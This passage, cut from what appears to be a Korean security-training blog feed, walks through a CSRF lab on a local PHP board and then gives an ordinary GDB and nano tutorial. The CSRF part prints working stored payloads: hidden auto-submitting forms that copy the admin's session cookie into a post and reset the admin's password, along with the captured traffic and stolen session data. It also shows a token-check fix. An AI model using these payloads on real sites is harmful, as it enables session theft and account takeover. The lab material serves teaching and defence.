&lt;/form&gt;
&lt;script&gt;document.getElementById(&quot;csrftest&quot;).submit();&lt;/script&gt;

등록 버튼을 클릭해서 글을 저장한다.

3. 글보기
관리자가 공격자가 저장한 게시글을 클릭해서 보면 자신의 권한으로 게시글을 등록된다.
</code></pre><blockquote>
<p><strong>실습&gt; CSRF를 이용한 쿠키값 탈취하기</strong></p>
</blockquote>
<pre><code>공격자가 게시글을 등록하고 관리자가 게시글을 보는 순간 관리자의 권한으로 게시글이 등록된다.
제목: CSRF 자동등록
내용: 관리자의 쿠키값  (PHPSESSID=랜덤문자열)
비밀번호: 아무거나

document.cookie: 쿠키값


이 름: 테스터
비밀번호: 1    
이메일: tester@naver.com
제 목: CSRF를 이용한 쿠키값
HTML적용:적용

안녕하세요.

&lt;form id=csrftest method=POST action=/board/board_write_ok.php enctype=&quot;multipart/form-data&quot;&gt;
&lt;input type=hidden name=name value=관리자&gt;
&lt;input type=hidden name=pw value=1&gt;
&lt;input type=hidden name=sub value=&quot;CSRF 자동등록&quot;&gt;
&lt;input type=hidden name=tag value=T&gt;
&lt;input type=hidden name=cont value=&quot;&quot;&gt;
&lt;input type=hidden name=email value=tester@daum.net&gt;
&lt;input type=hidden name=att_file value=&gt;
&lt;/form&gt;
&lt;script&gt;document.getElementById(&quot;csrftest&quot;).cont.value = &quot;CSRF&quot; + document.cookie;document.getElementById(&quot;csrftest&quot;).submit();
&lt;/script&gt;
</code></pre><blockquote>
<p><strong>실습&gt; 게시글 저장 메세지 주석처리</strong></p>
</blockquote>
<pre><code>-- /var/www/html/board/board_write_ok.php --
  :
  :(생략)

 62   $rs=mysql_query($strSQL, $conn);
 63   if($rs){
 64     echo &quot;&lt;script&gt;
 65       //alert(&#39;글이 성공적으로 등록 되었습니다.&#39;);
 66       location.replace(&#39;board_list.php&#39;);
 67     &lt;/script&gt;&quot;;
 68   } else {

  :
  :(생략)
-- /var/www/html/board/board_write_ok.php --
</code></pre><blockquote>
<p><strong>실습&gt; 글 저장 후 페이지 이동 감추기</strong></p>
</blockquote>
<pre><code>&lt;iframe&gt; 태그를 이용해서 글 저장 후 페이지 이동을 감출 수 있다.

이 공격을 이용하면 공격자가 서버를 이용해서 관리자의 쿠키를 탈취할 필요가 없어지게 된다.

1. 공격 게시글 작성
공격자가 게시글을 작성한다.

이 름: 테스터
비밀번호: 1    
이메일: tester@naver.com
제 목: CSRF를 이용한 쿠키값
HTML적용:적용

안녕하세요.
실제 저장은 width와 height 값을 0으로 설정한다.
여기서는 테스트이므로 width와 height 값을 300으로 설정한다.

&lt;iframe name=csrfiframe width=300 height=300&gt;&lt;/iframe&gt;
&lt;form id=csrftest target=csrfiframe
      method=POST action=/board/board_write_ok.php enctype=&quot;multipart/form-data&quot;&gt;
&lt;input type=hidden name=name value=관리자&gt;
&lt;input type=hidden name=pw value=1&gt;
&lt;input type=hidden name=sub value=&quot;CSRF 자동등록&quot;&gt;
&lt;input type=hidden name=tag value=T&gt;
&lt;input type=hidden name=cont value=&quot;&quot;&gt;
&lt;input type=hidden name=email value=tester@daum.net&gt;
&lt;input type=hidden name=att_file value=&gt;
&lt;/form&gt;
&lt;script&gt;document.getElementById(&quot;csrftest&quot;).cont.value = &quot;CSRF&quot; + document.cookie;document.getElementById(&quot;csrftest&quot;).submit();
&lt;/script&gt;

2. 글 보기
공격자가 쓴 게시글을 관리자가 보는 순간 
document.cookie;document.getElementById(&quot;csrftest&quot;).submit(); 메소드에 의해서 게시글이 저장되고
글 목록 이동은 &lt;iframe&gt; 태그 쪽에서 이동되므로 화면에는 게시글 목록으로 이동되지 않는다.

3. 관리자 쿠키 탈취
공격자는 관리자의 쿠키값이 게시글에 새롭게 저장되었으니 이를 확인한다.

               내용 보기
이름:   관리자   등록일: 2023-04-11 02:21:10
이메일: tester@daum.net   조회: 1
제목:   CSRF 자동등록
내용:   CSRFPHPSESSID=qi4asbua1ak2o0vsbhbkkke8a0
첨부 파일:    

[root@webhacking ~]# cat /var/lib/php/session/sess_qi4asbua1ak2o0vsbhbkkke8a0
user_id|s:5:&quot;admin&quot;;nickname|s:9:&quot;관리자&quot;;ip_addr|s:13:&quot;192.168.20.41&quot;;token|i:1;
</code></pre><blockquote>
<p><strong>실습&gt; CSRF 테스트 복원</strong></p>
</blockquote>
<pre><code>1. 소스 수정
info.php 소스 수정
-- info.php --
include_once(&quot;random.php&quot;);
$_SESSION[&#39;token&#39;] = GE_ST(20);   
-- info.php --

info_change.php 소스 수정
-- info_change.php --
  1 &lt;?php
  2   session_start();
  3
  4   $pw1=$_POST[&#39;user_pw1&#39;];
  5   $pw2=$_POST[&#39;user_pw2&#39;];
  6   $age=$_POST[&#39;age&#39;];
  7   $nick=$_POST[&#39;nick&#39;];
  8   $email=$_POST[&#39;email&#39;];
  9   if(!$nick){
 10     $nick=$_SESSION[&#39;nickname&#39;];
 11   }
 12
 13 /*
 14   print_r($_POST);  // 디버깅 중요
 15   echo &quot;&lt;p&gt;&quot;;
 16   print_r($_SESSION);  // 디버깅 중요
 17   exit;
 18 */
 19
 20   if(isset($_POST[&#39;token&#39;]))
 21   {
 22     if(isset($_SESSION[&#39;token&#39;]))
 23     {
 24           if($_POST[&#39;token&#39;] != $_SESSION[&#39;token&#39;]){
 25             echo &quot;&lt;script&gt;
 26               alert(&#39;올바르지 않은 요청입니다.1&#39;);
 27               history.back();
 28             &lt;/script&gt;&quot;;
 29             exit();
 30           }
 31     } else {
 32             echo &quot;&lt;script&gt;
 33               alert(&#39;올바르지 않은 요청입니다.2&#39;);
 34               history.back();
 35             &lt;/script&gt;&quot;;
 36             exit();
 37     }
 38  } else {
 39         echo &quot;&lt;script&gt;
 40           alert(&#39;올바르지 않은 요청입니다.3&#39;);
 41           history.back();
 42         &lt;/script&gt;&quot;;
 43         exit();
 44  }
 45
  :
  :(생략)
-- info_change.php --

2. 테이블 초기화
게시글이 많아서 WebTest.board 테이블을 초기화하고 실행한다.
[root@webhacking ~]# mysql -e &quot;TRUNCATE WebTest.board \G&quot;

소스를 수정한 후 위에서 실행한 실습&gt; CSRF 분석에서 8번 글 작성을 다시 실행한다.
</code></pre><blockquote>
<p><strong>실습&gt; CSRF 분석</strong></p>
</blockquote>
<pre><code>구글 크롬 일반 접속: tester
구글 크롬 시크릿 접속: admin

1. 접속
http://192.168.20.41/info.php

2. burp 활성화 
Intercept is on으로 설정한다.

3. 회원 정보 수정
회원정보 수정 폼에 값을 넣는다.
*ID: tester
*이름: 테스터
*비밀번호: 222222  6~20(영문/숫자/특수문자)
*비밀번호 확인: 222222
나이: 2
닉네임: 테스트계정2
이메일:tester@naver.com
* 는 필수 입력 항목입니다.

입력이 완료되면 수정버튼을 클릭한다.


4. request 분석
서버로 전송되는 POST 값을 확인한다.
POST /info_change.php HTTP/1.1
Host: 192.168.20.41
Content-Length: 122
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.20.41
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/info.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7ghmb6smliaeb8qlbon6mft832; hotlog=1; login_access=HAHAHAHAHA
Connection: close

user_pw1=222222&amp;user_pw2=222222&amp;age=2&amp;nick=%ED%85%8C%EC%8A%A4%ED%8A%B8%EA%B3%84%EC%A0%952&amp;email=tester%40naver.com&amp;token=1


분석된 결과 
어떤 방식으로 어느 페이지로 가는가?
POST /info_change.php

어떤 변수에 값을 담아서 가는가?
user_pw1=222222
user_pw2=222222
age=2
nick=%ED%85%8C%EC%8A%A4%ED%8A%B8%EA%B3%84%EC%A0%952
email=tester%40naver.com
token=1

5. burp 비활성화 
Intercept is off로 설정한다.

6. 결과
성공적으로 변경되었습니다.
회원정보
*ID: tester
*이름: 테스터
*비밀번호:   6~20(영문/숫자/특수문자)
*비밀번호 확인: 
나이: 2
닉네임: 테스트계정2
이메일: tester@naver.com  &lt;-- 변경
* 는 필수 입력 항목입니다.

7. 로그인
로그아웃한 후 다시 로그인한다.
정상적으로 로그인되면 회원정보의 값이 잘 변경된 것이다.
LOGIN
ID: tester
PASSWORD: 222222

8. 게시글 작성
이 름: 공격자
비밀번호: 1
이메일:
제 목: CSRF    
HTML적용: 적용 
내 용:
CSRF TEST
&lt;form id=csrftest method=POST action=/info_change.php&gt;
&lt;input type=hidden name=user_pw1 value=111111&gt;
&lt;input type=hidden name=user_pw2 value=111111&gt;
&lt;input type=hidden name=age value=30&gt;
&lt;input type=hidden name=nick value=관리자&gt;
&lt;input type=hidden name=email value=tester@daum.net&gt;
&lt;input type=hidden name=token value=1&gt;
&lt;/form&gt;
&lt;script&gt;document.getElementById(&quot;csrftest&quot;).submit();&lt;/script&gt;


9. 게시글 보기
Burp Intercept On으로 설정하고 
관리자가 공격자가 작성한 게시글을 확인하면서 Burp에서 분석한다. 

GET /board/board_view.php?num=1 HTTP/1.1
Host: 192.168.20.41
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/board/board_list.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=qi4asbua1ak2o0vsbhbkkke8a0
Connection: close


HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 18:13:26 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2482
Connection: close
Content-Type: text/html; charset=UTF-8

  :
  :(생략)

내용&lt;/font&gt;&lt;/th&gt;
                &lt;td colspan=&quot;4&quot; style=&quot;padding:15px 0;&quot;&gt;&lt;font&gt;CSRF TEST
&lt;form id=csrftest method=POST action=/info_change.php&gt;
&lt;input type=hidden name=user_pw1 value=111111&gt;
&lt;input type=hidden name=user_pw2 value=111111&gt;
&lt;input type=hidden name=age value=30&gt;
&lt;input type=hidden name=nick value=관리자&gt;
&lt;input type=hidden name=email value=tester@daum.net&gt;
&lt;input type=hidden name=token value=1&gt;
&lt;/form&gt;
&lt;script&gt;document.getElementById(&quot;csrftest&quot;).submit();&lt;/script&gt;
&lt;/font&gt;&lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr&gt;

  :
  :(생략)


POST /info_change.php HTTP/1.1
Host: 192.168.20.41
Content-Length: 103
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.20.41
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/board/board_view.php?num=1
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=qi4asbua1ak2o0vsbhbkkke8a0
Connection: close

user_pw1=111111&amp;user_pw2=111111&amp;age=30&amp;nick=%EA%B4%80%EB%A6%AC%EC%9E%90&amp;email=tester%40daum.net&amp;token=1

GET /head.php HTTP/1.1
Host: 192.168.20.41
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/board/board_view.php?num=1
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=qi4asbua1ak2o0vsbhbkkke8a0
Connection: close

HTTP/1.1 302 Found
Date: Mon, 10 Apr 2023 18:14:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: info.php?ch=1
Content-Length: 148
Connection: close
Content-Type: text/html; charset=UTF-8

Array
(
    [user_pw1] =&gt; 111111
    [user_pw2] =&gt; 111111
    [age] =&gt; 30
    [nick] =&gt; 관리자
    [email] =&gt; tester@daum.net
    [token] =&gt; 1
)

HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 18:15:08 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 671
Connection: close
Content-Type: text/html; charset=UTF-8

&lt;!doctype html&gt;
&lt;html&gt;
    &lt;!-- head 부분 --&gt;
    &lt;head&gt;
        &lt;title&gt;Web Test Site&lt;/title&gt;
        &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=UTF-8&quot; &gt;
        &lt;link rel=&quot;stylesheet&quot; href=&quot;style_head.css&quot; type=&quot;text/css&quot;&gt;
    &lt;/head&gt;
    &lt;body&gt;
                &lt;div id=&quot;area_header&quot;&gt;
            &lt;h1&gt;Web Test Site&lt;/h1&gt;
        &lt;/div&gt;
        &lt;div id=&quot;area_menu&quot;&gt;
            &lt;a href=&quot;index.php&quot; target=&quot;_parent&quot;&gt;홈&lt;/a&gt;
            | &lt;a href=&quot;board/board_list.php&quot; target=&quot;_parent&quot;&gt;게시판&lt;/a&gt;
                    | &lt;a href=&quot;info.php&quot; target=&quot;_parent&quot;&gt;관리자님&lt;/a&gt;
            | &lt;a href=&quot;nickname.php&quot; target=&quot;_parent&quot;&gt;닉네임 변경&lt;/a&gt;
            | &lt;a href=&quot;logout.php&quot; target=&quot;_parent&quot;&gt;로그아웃&lt;/a&gt;
                &lt;/div&gt;
    &lt;/body&gt;
&lt;/html&gt;


GET /info.php?ch=1 HTTP/1.1
Host: 192.168.20.41
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/board/board_view.php?num=1
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=qi4asbua1ak2o0vsbhbkkke8a0
Connection: close


HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 18:16:17 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2789
Connection: close
Content-Type: text/html; charset=UTF-8

&lt;!DOCTYPE html&gt;
&lt;html&gt;
  &lt;head&gt;
    &lt;meta charset=&quot;utf-8&quot;&gt;
    &lt;title&gt;회원 정보&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;style_contents.css&quot; type=&quot;text/css&quot;&gt;
    &lt;script type=&quot;text/javascript&quot;&gt;
      function ck() {
        if(document.mform.user_pw1.value == &quot;&quot; || document.mform.user_pw1.value.length &lt; 6 || document.mform.user_pw1.value.length &gt; 20){
          alert(&#39;패스워드를 다시 입력하세요.&#39;);
          mform.user_pw1.focus();
          return false;
        }
        if(document.mform.user_pw1.value != document.mform.user_pw2.value){
          alert(&#39;패스워드가 일치하지 않습니다.&#39;);
          mform.user_pw2.focus();
          return false;
        }
        document.mform.submit();
      }
    &lt;/script&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;iframe src=&quot;head.php&quot; id=&quot;bodyFrame&quot; name=&quot;body&quot; width=&quot;100%&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;
    &lt;div id=&quot;info_contents&quot; class=&quot;contents&quot;&gt;
      &lt;h4&gt;성공적으로 변경되었습니다.&lt;/h4&gt;      &lt;form name=&quot;mform&quot; action=&quot;info_change.php&quot; method=&quot;post&quot;&gt;
        &lt;table width=&quot;500&quot; cellpadding=&quot;3&quot; class=&quot;graycolor&quot;&gt;
          &lt;tr&gt;
            &lt;th colspan=&quot;2&quot; style=&quot;background-color:#323232&quot;&gt;
              &lt;font style=&quot;color:white; font-size:150%&quot;&gt;회원정보&lt;/th&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;th width=&quot;125px&quot;&gt;*ID&lt;/th&gt;
            &lt;td&gt;admin&lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;th&gt;*이름&lt;/th&gt;
            &lt;td&gt;관리자&lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;th&gt;*비밀번호&lt;/th&gt;
            &lt;td&gt;&lt;input type=&quot;password&quot; name=&quot;user_pw1&quot; size=&quot;20&quot; maxlength=&quot;20&quot;&gt;
              &amp;nbsp;&lt;font style=&quot;color:red&quot;&gt;6~20(영문/숫자/특수문자)&lt;/font&gt;
            &lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;th&gt;*비밀번호 확인&lt;/th&gt;
            &lt;td&gt;&lt;input type=&quot;password&quot; name=&quot;user_pw2&quot; size=&quot;20&quot; maxlength=&quot;20&quot;&gt;&lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;th&gt;나이&lt;/th&gt;
            &lt;td&gt;&lt;input type=&quot;number&quot; name=&quot;age&quot; size=&quot;30&quot; min=&quot;0&quot; max=&quot;150&quot; value=30&gt;&lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;th&gt;닉네임&lt;/th&gt;
            &lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;nick&quot; size=&quot;30&quot; maxlength=&quot;30&quot; value=관리자&gt;&lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
            &lt;th&gt;이메일&lt;/th&gt;
            &lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;email&quot; size=&quot;30&quot; maxlength=&quot;30&quot; value=tester@daum.net&gt;&lt;/td&gt;
          &lt;/tr&gt;
        &lt;/table&gt;
        &lt;p&gt;
          &lt;font size=2&gt;* 는 필수 입력 항목입니다.&lt;/font&gt;&lt;br&gt;&lt;br&gt;
          &lt;input type=&quot;hidden&quot; name=&quot;token&quot; value=QuM7dMurZWcedlN14Poe&gt;
          &lt;input type=&quot;button&quot; value=&quot;수정&quot; onclick=&quot;ck();&quot; class=&quot;btn_default btn_gray&quot;&gt;
          &lt;input type=&quot;reset&quot; value=&quot;삭제&quot; class=&quot;btn_default btn_gray&quot;&gt;
        &lt;/p&gt;
      &lt;/form&gt;
    &lt;/div&gt;
  &lt;/body&gt;
&lt;/html&gt;

GET /head.php HTTP/1.1
Host: 192.168.20.41
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/info.php?ch=1
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=qi4asbua1ak2o0vsbhbkkke8a0
Connection: close

HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 18:16:42 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 671
Connection: close
Content-Type: text/html; charset=UTF-8

&lt;!doctype html&gt;
&lt;html&gt;
    &lt;!-- head 부분 --&gt;
    &lt;head&gt;
        &lt;title&gt;Web Test Site&lt;/title&gt;
        &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=UTF-8&quot; &gt;
        &lt;link rel=&quot;stylesheet&quot; href=&quot;style_head.css&quot; type=&quot;text/css&quot;&gt;
    &lt;/head&gt;
    &lt;body&gt;
                &lt;div id=&quot;area_header&quot;&gt;
            &lt;h1&gt;Web Test Site&lt;/h1&gt;
        &lt;/div&gt;
        &lt;div id=&quot;area_menu&quot;&gt;
            &lt;a href=&quot;index.php&quot; target=&quot;_parent&quot;&gt;홈&lt;/a&gt;
            | &lt;a href=&quot;board/board_list.php&quot; target=&quot;_parent&quot;&gt;게시판&lt;/a&gt;
                    | &lt;a href=&quot;info.php&quot; target=&quot;_parent&quot;&gt;관리자님&lt;/a&gt;
            | &lt;a href=&quot;nickname.php&quot; target=&quot;_parent&quot;&gt;닉네임 변경&lt;/a&gt;
            | &lt;a href=&quot;logout.php&quot; target=&quot;_parent&quot;&gt;로그아웃&lt;/a&gt;
                &lt;/div&gt;
    &lt;/body&gt;
&lt;/html&gt;



10. 관리자 로그인
공격자가 변경된 비밀번호를 이용해서 관리자로 로그인한다.

11. 변경된 정보 확인
DB에 접속해서 변경된 내용을 확인한다.
[root@webhacking ~]# mysql -e &quot;SELECT * FROM WebTest.member \G&quot;
*************************** 1. row ***************************
      no: 1
    u_id: tester
  u_pass: 222222
  u_name: 테스터
nickname: 테스트계정2
     age: 2
   email: tester@naver.com
reg_date: 2022-10-24 14:01:38
*************************** 2. row ***************************
      no: 2
    u_id: admin
  u_pass: 333333   &lt;--
  u_name: 관리자
nickname: 관리자
     age: 30       &lt;--
   email: tester@daum.net  &lt;--
reg_date: 2022-10-24 14:01:38
</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[C언어/GDB분석]]></title>
            <link>https://velog.io/@security_code/C%EC%96%B8%EC%96%B4GDB%EB%B6%84%EC%84%9D</link>
            <guid>https://velog.io/@security_code/C%EC%96%B8%EC%96%B4GDB%EB%B6%84%EC%84%9D</guid>
            <pubDate>Thu, 06 Apr 2023 08:13:17 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><strong>실습&gt; gdb 사용하기</strong></p>
</blockquote>
<pre><code>gdb는 GNU Debugger로 리눅스에서 사용되는 실행파일, 코어파일, 프로세스를 분석하는 디버깅 툴이며 화이트해커에게 절대적으로 필요한 디버깅 툴이다. 
화이트해커가 되기 위해서는 이 툴을 잘 다루어야 하고 이 툴을 이용하면 실행파일의 내부구조를 확인할 수 있고 
실행파일의 소스코드(의사코드라고 함)를 그대로 복원할 수 있다.

참고 : GDB를 이용한 디버깅
http://korea.gnu.org/manual/release/gdb/gdb.html

사용환경: CentOS 7

64bit 리눅스 환경에서는 32bit 환경으로 컴파일이 기본적으로 안되므로 이를 허용하기 위해서는 32bit 환경으로 컴파일할 수 있는 패키지를 설치하면 된다.

CentOS에서 32bit 64bit 바이너리를 얻기 위해서는 아래 패키지들을 설치한다. </code></pre><pre><code># yum -y install gcc make gdb glibc.i686  glibc-devel.i686  libgcc.i686  libstdc++.i686 glibc  glibc-devel  libgcc  libstdc++ 

64bit 용 컴파일 방법: gcc -g -o 실행파일 소스파일 / gcc -g 소스파일 -o 실행파일
32bit 용 컴파일 방법: gcc -m32 -g -o 실행파일 소스파일 / gcc -m32 -g 소스파일 -o 실행파일 

o gdb 실행
gdb를 이용해서 바이너리(실행파일)을 분석하기 위해서는 컴파일 과정에서 디버깅 정보(-g 옵션)를 삽입해야 한다.

컴파일 시 옵션 -g 사용
- 64bit 용 컴파일
# gcc -g -o 실행파일 소스파일
- 32bit 용 컴파일
# gcc -m32 -g -o 실행파일 소스파일

컴파일이 정상적으로 완료되면 GDB를 실행해서 실행파일을 분석한다.

gdb [프로그램명]
# gdb 실행파일

gdb [프로그램명] [프로세스PID]
# gdb main 1928

gdb가 실행되면 (gdb)프롬프트로가 나타나게 된다.

o gdb 종료
gdb를 종료하는 방법에는 네 가지가 있다.

(gdb) ctrl + d
(gdb) q
(gdb) quit
(gdb) exit

o 도움말 출력
- 명령어에 대한 사용법을 알고 싶을 때 사용한다.
(gdb) help
(gdb) help 명령어
(gdb) help x
(gdb) help run

모든 명령어의 도움말을 확인한다.
(gdb) help all

o 메모리 조사
- x 명령어를 사용해서 메모리의 내용을 출력한다.
형식: x/[반복숫자][출력형태][크기] [메모리주소]
출력형태 : o(octal), x(hex), d(decimal), u(unsigned decimal),
           t(binary), f(float), a(address), i(instruction), c(char) and s(string)
크기     : b(byte), h(halfword, 2 bytes), w(word, 4 bytes), g(giant, 8 bytes).

(gdb) x/16xw $ebp
(gdb) x/16xw $ebp-16
(gdb) x/s $ebp-16
(gdb) x/s 0x80484b0

int total = 10;
char name[100] = ....;

(gdb) x/xw total &lt;-- 에러
(gdb) x/s name   &lt;-- 배열명은 메모리 주소이므로

o 어셈블리어로 변환
disassemble 명령어를 사용해서 실행파일을 디스어셈블할 수 있다.
실행파일에는 기계어 코드(0,1)가 저장되어 있고 이 기계어코드를 해석해서 어셈블리 코드로 변환해주는 명령어다.

gdb 명령어들을 축약해서 사용할 수 있다.
run -&gt; r, break -&gt; b, continue -&gt; c
disassemble 을 disas 로 줄여서 사용할 수 있다.
어셈블리 코드를 보여주는 문법이 2가지가 있다.
첫 번째 at&amp;t 문법(default)이고 두 번째는 intel(windows) 문법이 있다.

리눅스에서 어셈블리 코드를 볼 때는 기본값이 at&amp;t 문법이고 intel 문법으로 보기 위해서는 set 명령어를 이용해서 변경할 수 있다.

(gdb) set disassembly-flavor
Requires an argument. Valid arguments are att, intel.

intel 문법으로 변경
- set disassembly-flavor intel
(gdb) set disassembly-flavor intel

at&amp;t 문법으로 변경 (기본값)
- set disassembly-flavor att
(gdb) set disassembly-flavor att

기본값은 at&amp;t 문법으로 실행파일을 디스어셈블할 수 있다.
- 실행파일을 어셈블리 언어로 바꿔서 보여준다.
(gdb) disas main

intel 문법으로 변환해서 보여주기 위해서는 set disassembly-flavor intel 명령어를 사용한다.
(gdb) set disassembly-flavor intel
(gdb) disas main

- /m 옵션은 해당 소스 코드에 대한 어셈블리 코드가 보여진다.
(gdb) disas /m main

- /r 옵션은 해당 기계어 코드가 같이 보여진다.
(gdb) disas /r main
</code></pre><blockquote>
<p><strong>실습&gt; nano 편집기 사용하기</strong></p>
</blockquote>
<pre><code>vi 편집기 사용이 어려운 분들은 nono 편집기를 사용한다.
# yum -y install nano
# nano test.txt

  GNU nano 2.3.1               File: test.txt                            Modified

이 파일은 nano 편집기를 사용해서 저장합니다.


^G Get Help  ^O WriteOut  ^R Read File ^Y Prev Page ^K Cut Text  ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is  ^V Next Page ^U UnCut Text^T To Spell

Ctrl + O를 입력하면 아래쪽에 메뉴가 바뀌고 이 상태에서 엔터를 치면 저장된다.

File Name to Write: test.txt
^G Get Help         M-D DOS Format      M-A Append          M-B Backup File
^C Cancel           M-M Mac Format      M-P Prepend

Ctrl + X를 입력하면 종료한다.
</code></pre><blockquote>
<p><strong>실습&gt; gdb 를 이용한 바이너리 분석 1</strong></p>
</blockquote>
<pre><code>&gt;&gt;&gt; 간단히 분석하기 &lt;&lt;&lt;

복사 &gt; vi 파일명 &gt; set noai &gt; set paste &gt; i &gt; 붙여넣기

1. 소스 코드 작성
# vi test1.c
/*
 * 파일명: test1.c
 * 프로그램 설명: 바이너리 패치
 * 작성자: 리눅스마스터넷
 * 작성일: 2023.03.18
 *
 * 컴파일: gcc -m32 -g -o test1 test1.c
 */
#include &lt;stdio.h&gt;

int main()
{
    int i = 7;

    printf(&quot;i = %d\n&quot;, i);  // i = 7

    return 0;
}

2. 컴파일
32bit 환경으로 컴파일 한다.
# gcc -m32 -g -o test1 test1.c
# ./test1
i = 7

# file test1
test1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=726e3b662223e2f47bc521dc0ef817d6c6931c08, not stripped

3. gdb 분석
# alias gdb=&#39;gdb -q&#39;
# vi .bashrc
  :
  :(생략)
alias rm=&#39;rm -i&#39;
alias cp=&#39;cp -i&#39;
alias mv=&#39;mv -i&#39;
alias vi=&#39;vim&#39;
alias gdb=&#39;gdb -q&#39;  &lt;-- 추가
  :
  :(생략)

# gdb test1
(gdb) disas /m main  &lt;-- C언어에 해당하는 어셈블리 코드를 출력한다.
(gdb) disas /r main  &lt;-- 기계어코드와 해당 어셈블리 코드를 출력한다.
(gdb) b main         &lt;-- main() 함수에 BP(Break Point)를 설정한다.
(gdb) r              &lt;-- 프로그램을 실행한다.
(gdb) list           &lt;-- 소스코드를 출력한다.
(gdb) n              &lt;-- 다음 단계로 진행한다.
(gdb) p &amp;i           &lt;-- 변수 i에 저장된 값을 확인한다.
$2 = (int *) 0xffffd62c
(gdb) x/xw  &amp;i       &lt;-- 변수 i의 주소로 값을 확인한다.
0xffffd62c:     0x00000007
(gdb) x/xw 0xffffd62c  &lt;-- 메모리 주소로 값을 확인한다.
0xffffd62c:     0x00000007
(gdb) n                &lt;-- 다음 단계로 진행한다.
i = 7
(gdb) n                &lt;-- 다음 단계로 진행한다.
(gdb) p $eax           &lt;-- 리턴값이 eax 레지스터에 저장되므로 리턴값을 확인한다.
$3 = 0         
